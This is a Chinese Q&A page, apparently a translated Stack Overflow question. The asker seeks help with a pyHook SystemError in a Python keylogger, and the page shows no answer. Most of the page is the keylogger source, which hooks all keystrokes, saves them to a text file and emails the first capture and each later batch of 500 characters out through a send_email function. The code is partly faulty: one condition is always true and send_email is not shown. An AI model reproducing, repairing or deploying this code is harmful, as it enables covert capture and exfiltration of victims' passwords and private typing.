如何修复“ SystemError:<class'pyhook.hookmanager.keyboardevent'=“”>返回带有错误集的结果” Python中的错误

时间:2019-04-13 04:26:47

标签: python keyboard keylogger pyhook

我正在尝试使用Python创建一个简单的键盘记录器,该记录器将写入'.txt'文件,然后将其发送到电子邮件中;但是当我按任意键时,就会显示此错误:

  

SystemError:返回了带有错误集的结果

任何人都知道这段代码出了什么问题吗?

def OnKeyboardEvent(event):

    global count
    count += 1
    #press CTRL+E for exit
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #open output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Send last 500 characters
            capturado = buffer[-500:].replace("\n"," ")
            send_email(capturado)
            count = 0

        #opens output.txt writes and add new key logs
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)

        #if ENTER
        if event.Ascii==13:
            keylogs='\n'

        #if blankspace 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()




# creates object hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

0 个答案:

没有答案